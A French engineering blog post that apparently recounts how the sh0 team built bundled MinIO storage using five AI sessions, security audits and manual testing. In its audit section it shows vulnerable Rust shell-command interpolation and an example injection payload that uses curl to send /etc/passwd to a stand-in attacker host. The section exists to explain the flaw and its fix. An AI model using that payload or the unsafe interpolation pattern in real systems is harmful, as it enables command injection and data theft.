Chaque développeur déployant un site WordPress, une application Laravel ou un projet Next.js a un jour besoin de stockage objet. Photos de profil, téléchargements de documents, fichiers médias -- tout cela a besoin d'un endroit où vivre. La réponse standard est "inscrivez-vous sur AWS S3", ce qui signifie un compte supplémentaire, un tableau de bord de facturation supplémentaire, un jeu d'identifiants supplémentaire à gérer.
Nous voulions que les utilisateurs de sh0 disposent d'un stockage compatible S3 disponible dès l'installation de la plateforme. Pas d'inscription, pas de configuration, pas de dépendance externe. Déployez simplement votre application et commencez à télécharger.
Voici l'histoire de comment nous l'avons construit en une seule journée, à travers cinq sessions d'IA coordonnées, et ce qu'un audit de sécurité a détecté avant la livraison.
La décision d'architecture : mc plutôt que SDK
MinIO expose deux API : l'API S3 standard (pour les opérations sur les buckets et objets) et une API Admin propriétaire (pour la gestion des utilisateurs et des clés d'accès). Pour utiliser l'API S3 depuis Rust, il aurait fallu implémenter la signature AWS Signature V4 -- un protocole notoirement capricieux impliquant la construction de requêtes canoniques, des chaînes HMAC-SHA256 et un ordonnancement précis des headers.
Nous avons choisi un chemin différent. MinIO embarque mc (MinIO Client) dans chaque conteneur. Au lieu d'implémenter SigV4, nous exécutons des commandes mc dans le conteneur via Docker exec :
docker exec sh0-system-minio mc mb local/my-bucket
docker exec sh0-system-minio mc admin user svcacct add local ROOT --name "app-key" --jsonCela nous donne toute la puissance des deux API sans aucune dépendance supplémentaire. Le compromis est que nous construisons des commandes shell, ce qui comporte ses propres risques -- plus de détails ci-dessous.
Bootstrap : stockage disponible dès le premier démarrage
Quand sh0 démarre pour la première fois, il :
- Génère des identifiants aléatoires (nom d'utilisateur de 20 caractères, mot de passe de 32 caractères)
- Les chiffre avec AES-256-GCM en utilisant la clé maîtresse
- Stocke les identifiants chiffrés en SQLite
- Crée un conteneur MinIO sur le réseau bridge
sh0-net - Enregistre l'instance comme
is_system = true
Aux démarrages suivants, il charge les identifiants chiffrés depuis la base de données, les déchiffre et s'assure que le conteneur est en cours d'exécution. L'ensemble du bloc est non-fatal -- si MinIO échoue au démarrage, le reste de sh0 fonctionne toujours. Cela suit le même patron que nous utilisons pour le conteneur sandbox IA.
Le résultat : quand un développeur ouvre le tableau de bord sh0 après l'installation, il voit "Stockage de fichiers" dans la barre latérale avec son instance MinIO système déjà en cours d'exécution.
Cinq sessions, une fonctionnalité
L'implémentation a suivi notre workflow standard construire-auditer-auditer-approuver, mais réparti sur cinq sessions coordonnées :
Session 1 (cette conversation) : Couche base de données (migrations, modèles) et bootstrap système (création de conteneur Docker, chiffrement des identifiants). C'était la fondation -- travail minutieux sur le schéma et le bootstrap idempotent qui gère chaque état : conteneur en cours d'exécution, conteneur arrêté, conteneur manquant, condition de concurrence à la création.
Session 2 : Le gros de l'implémentation. 350 lignes de minio_ops.rs (9 fonctions encapsulant les commandes mc), 580 lignes de handlers API (14 endpoints suivant le patron databases.rs) et le dashboard complet (page de liste, page de détails avec 4 onglets, client API, types TypeScript, i18n en 5 langues). Un prompt de continuation a été rédigé pour donner à cette session le contexte complet sans qu'elle ait besoin de relire la base de code.
Session 3 (Audit tour 1) : Une session fraîche sans biais d'implémentation a examiné les 19 fichiers. Elle a trouvé trois problèmes critiques et un problème important. Elle les a tous corrigés.
Session 4 (Audit tour 2) : Une troisième session a vérifié les corrections du tour 1 et a détecté un problème supplémentaire que le premier auditeur avait manqué.
Session 5 (retour à cette conversation) : Le CEO a testé manuellement avec un serveur en fonctionnement et a trouvé 6 bugs qui ne se manifestent qu'à l'exécution -- mappage dynamique des ports, identifiants de console manquants, problèmes d'état de l'interface. Tous corrigés et livrés.
Ce que l'audit a détecté : injection shell
La découverte la plus significative était une vulnérabilité d'injection shell dans minio_ops.rs. La fonction mc_exec construit des commandes shell qui s'exécutent à l'intérieur du conteneur MinIO :
rust// Avant la correction
let cmd = format!("mc admin user svcacct add local ROOT --name \"{}\"", description);La description provient d'une requête API soumise par l'utilisateur. Les guillemets doubles dans le shell permettent la substitution de commande : $(...), les backticks et $VAR sont tous évalués. Un attaquant pourrait soumettre :
json{ "description": "$(curl attacker.com/exfil?data=$(cat /etc/passwd))" }Et le shell l'exécuterait à l'intérieur du conteneur MinIO.
La correction a été double :
- Une fonction
validate_shell_safe()qui autorise uniquement[a-zA-Z0-9\-_.]pour toutes les valeurs interpolées dans les commandes shell (noms de buckets, identifiants de clés d'accès) - Passage des guillemets doubles aux guillemets simples pour le champ description, ce qui empêche toute expansion shell dans
sh
Combiné avec la validation des entrées au niveau du handler API (noms de buckets validés avant d'atteindre minio_ops), cela fournit une défense en profondeur. Aucune couche seule n'est suffisante -- la validation du handler attrape les noms de buckets malveillants avant qu'ils n'atteignent le shell, et la validation au niveau du shell attrape tout ce qui passe entre les mailles.
C'est exactement pourquoi la méthodologie d'audit multi-session existe. La session d'implémentation se concentre sur faire fonctionner les choses. La session d'audit se concentre sur les faire casser.
Les bugs runtime que les audits ne peuvent pas détecter
Malgré deux audits de code approfondis, les tests manuels du CEO ont trouvé 6 bugs. Tous étaient des problèmes d'intégration runtime invisibles à la revue de code statique :
Mappage dynamique des ports. Docker mappe les ports du conteneur 9000 et 9001 vers des ports hôtes aléatoires. Le bootstrap stockait localhost:9000 dans la base de données. La correction : interroger Docker pour les mappages de ports réels à chaque requête API et mettre à jour la base de données.
Identifiants de console manquants. La console web MinIO nécessite une authentification, mais le nom d'utilisateur et le mot de passe administrateur étaient chiffrés dans la base de données et jamais exposés au dashboard. Ajout d'un bouton de révélation d'identifiants dans l'onglet Vue d'ensemble.
État de la modale. Après la création d'une clé d'accès, la modale ne se fermait pas, cachant la bannière du secret à usage unique derrière elle. Correction en une seule ligne : showCreateKey = false.
Ces bugs enseignent une leçon importante : la revue de code et les audits de sécurité sont nécessaires mais pas suffisants. Il faut aussi que quelqu'un clique à travers l'interface réelle avec un serveur en fonctionnement.
Le résultat
Les utilisateurs de sh0 obtiennent maintenant un stockage compatible S3 géré prêt à l'emploi :
- 14 endpoints API pour la gestion complète du cycle de vie
- Dashboard avec 4 onglets : Vue d'ensemble (snippets de connexion rapide pour AWS SDK, Laravel), Buckets (CRUD + navigation), Clés d'accès (affichage du secret à usage unique), Utilisation
- Sécurité : identifiants chiffrés, protection contre l'injection shell, RBAC sur chaque endpoint, secrets des clés d'accès hachés avec SHA-256
- Zéro dépendance externe : fonctionne entièrement dans l'environnement Docker de l'utilisateur
Des milliers de développeurs paient actuellement pour AWS S3, DigitalOcean Spaces ou Cloudflare R2 juste pour stocker les uploads de leurs applications. Avec sh0, ce stockage est inclus -- gratuit, privé et sous leur contrôle.
Ce qui vient ensuite
L'implémentation actuelle partage un seul conteneur MinIO entre toutes les "instances". C'est un échafaudage intentionnel -- le schéma de base de données et le contrat API supportent déjà des conteneurs par instance. Quand nous construirons le support multi-instance, chaque instance créée par l'utilisateur aura son propre conteneur avec des identifiants et un stockage isolés.
Après cela : l'email géré (Partie 2 de la spécification), qui suit un patron similaire -- bootstrapper un conteneur de serveur mail, l'exposer via des handlers API et lui donner une interface dashboard soignée.
Le patron fonctionne. Construire la fondation soigneusement, l'auditer deux fois, la tester manuellement, la livrer.